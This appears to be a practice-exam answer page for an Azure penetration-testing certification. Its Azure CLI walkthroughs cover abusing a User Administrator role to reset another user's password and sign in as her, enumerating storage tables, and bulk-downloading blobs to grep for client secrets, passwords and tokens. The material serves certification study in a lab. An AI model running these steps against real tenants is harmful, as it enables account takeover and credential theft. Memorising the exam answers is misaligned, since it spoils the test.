Free The SecOps Group CCPenX-Az Practice Exam with Questions & Answers

Tenant ID: 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a

Subscription ID: 5d8e44ac-24a9-43d9-9cb5-71b227a58021

Detailed Solution:

Log in with the supplied account:

az login -u james.ward@cloudcorpsec.onmicrosoft.com -p ' < password > '

Show the active Azure context:

az account show --output json

Expected relevant output:

{

" id " : " 5d8e44ac-24a9-43d9-9cb5-71b227a58021 " ,

" name " : " CloudCorp Security Lab " ,

" tenantDefaultDomain " : " cloudcorpsec.onmicrosoft.com " ,

" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a "

}

The tenantId is the Microsoft Entra tenant ID. The id field is the subscription ID.

================

The answer is the flag found after compromising the target user and enumerating her accessible Azure resources, usually storage/table data.

Detailed Solution:

Since the second compromised user is a User Administrator , abuse that role to reset the password of the target user.

az ad user update \

--id lila.nguyen@azuresecops.onmicrosoft.com \

--password ' NewP@ssw0rd12345! ' \

--force-change-password-next-sign-in false

Now authenticate as the target user.

az login -u lila.nguyen@azuresecops.onmicrosoft.com -p ' NewP@ssw0rd12345! '

Confirm the login context:

az account show

Check what Azure resources this user can see:

az resource list --output table

Check role assignments:

az role assignment list --all --output table

If the user has storage data-plane permissions, enumerate storage accounts:

az storage account list --output table

If the storage account is known from the lab chain, use it directly:

az storage table list \

--account-name excaliburstore \

--auth-mode login \

--output table

Query each table:

az storage entity query \

--account-name excaliburstore \

--table-name < table-name > \

--auth-mode login \

--output json

A faster method:

for table in $(az storage table list --account-name excaliburstore --auth-mode login --query " [].name " -o tsv); do

echo " ===== $table ===== "

az storage entity query \

--account-name excaliburstore \

--table-name " $table " \

--auth-mode login \

--output table

done

Search the output for:

Flag

SAS

token

container

storage

secret

The flag discovered in this stage is the Q7 answer.

Final Answer:

Use the Flag{...} value returned from the accessible table/storage data after logging in as lila.nguyen@azuresecops.onmicrosoft.com.

================

public-backups

Detailed Solution:

Try listing containers using Azure CLI:

az storage container list \

--account-name prodreportstore01 \

--auth-mode login \

--output table

If anonymous access is allowed, test via blob endpoint:

az storage blob list \

--account-name prodreportstore01 \

--container-name public-backups \

--auth-mode key \

--output table

In a lab, you can also test the public URL pattern:

https://prodreportstore01.blob.core.windows.net/public-backups/

Expected exposed container:

public-backups

Final answer:

public-backups

================

service-principal-creds.json

Detailed Solution:

Set variables:

ACCOUNT= " prodreportstore01 "

CONTAINER= " sensitive-exports "

SAS= " ?sv=2025-01-05 & ss=b & srt=sco & sp=rl & se=2026-08-01T00:00:00Z & sig= < signature > "

List blobs:

az storage blob list \

--account-name " $ACCOUNT " \

--container-name " $CONTAINER " \

--sas-token " $SAS " \

--query " [].name " \

--output table

Expected output:

Name

----------------------------

monthly-report.csv

service-principal-creds.json

readme.txt

The credential file is:

service-principal-creds.json

================

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

Detailed Solution:

As the second compromised user, enumerate directory users:

az ad user list --output table

Use a cleaner query to show names, UPNs, and job titles:

az ad user list \

--query " [].{DisplayName:displayName,UPN:userPrincipalName,JobTitle:jobTitle} " \

--output table

You should identify a target user whose profile contains a flag in the jobTitle attribute.

The important target is:

lila.nguyen@azuresecops.onmicrosoft.com

Her jobTitle field contains:

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

Because the compromised user has User Administrator, you can reset this target user’s password and later authenticate as her.

Final Answer:

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

================

The answer is the clientId, appId, or applicationId value inside the credential file downloaded from the sensitive-files container.

Detailed Solution:

List blobs inside the accessible container:

az storage blob list \

--account-name excaliburstore \

--container-name sensitive-files \

--sas-token " $SAS " \

--query " [].name " \

--output table

Download all files locally:

mkdir blobloot

az storage blob download-batch \

--account-name excaliburstore \

--source sensitive-files \

--destination blobloot \

--sas-token " $SAS "

Search the downloaded files for application credentials:

grep -RniE " clientId|appId|applicationId|clientSecret|tenantId|secret|password " blobloot

On Windows PowerShell:

Select-String -Path .\blobloot\* -Pattern " clientId|appId|applicationId|clientSecret|tenantId|secret|password " -CaseSensitive:$false

A typical file may look like this:

{

" tenantId " : " f015f36d-c07f-41fb-9bde-fffc3a22ee8b " ,

" clientId " : " < application-client-id > " ,

" clientSecret " : " < application-client-secret > "

}

The clientId / appId value is the answer.

Final Answer:

Use the clientId / appId value found in the blob credential file.

================

olivia.admin@cloudcorpsec.onmicrosoft.com

Detailed Solution:

Run:

az role assignment list \

--resource-group rg-prod-apps-eastus \

--all \

--output table

Or filter by role:

az role assignment list \

--resource-group rg-prod-apps-eastus \

--role " User Access Administrator " \

--query " [].{Principal:principalName,Role:roleDefinitionName,Scope:scope} " \

--output table

Expected output:

Principal Role Scope

------------------------------------- ------------------------- ----------------------------

olivia.admin@cloudcorpsec.onmicrosoft.com User Access Administrator /subscriptions/.../rg-prod-apps-eastus

Final answer:

olivia.admin@cloudcorpsec.onmicrosoft.com

================

Detailed Solution:

Contributor allows broad management-plane operations but does not inherently grant secret-value retrieval from Key Vault data plane.

Test secret read:

az keyvault secret show \

--vault-name kv-finance-prod \

--name db-password \

--query value \

--output tsv

Expected failure:

Forbidden

Correct answer:

B. No, Contributor does not automatically grant Key Vault secret data-plane read

Key Vault access can be controlled by Azure RBAC or access policies, and secret read requires appropriate data-plane permission.

================

allowBlobPublicAccess: true

Detailed Solution:

Run:

az storage account show \

--name prodreportstore01 \

--resource-group rg-prod-apps-eastus \

--query " {Name:name,AllowBlobPublicAccess:allowBlobPublicAccess} " \

--output json

Expected output:

{

" Name " : " prodreportstore01 " ,

" AllowBlobPublicAccess " : true

}

This means public blob access is enabled at the storage-account level. That does not automatically mean every container is public, but it permits public container/blob exposure if configured.

================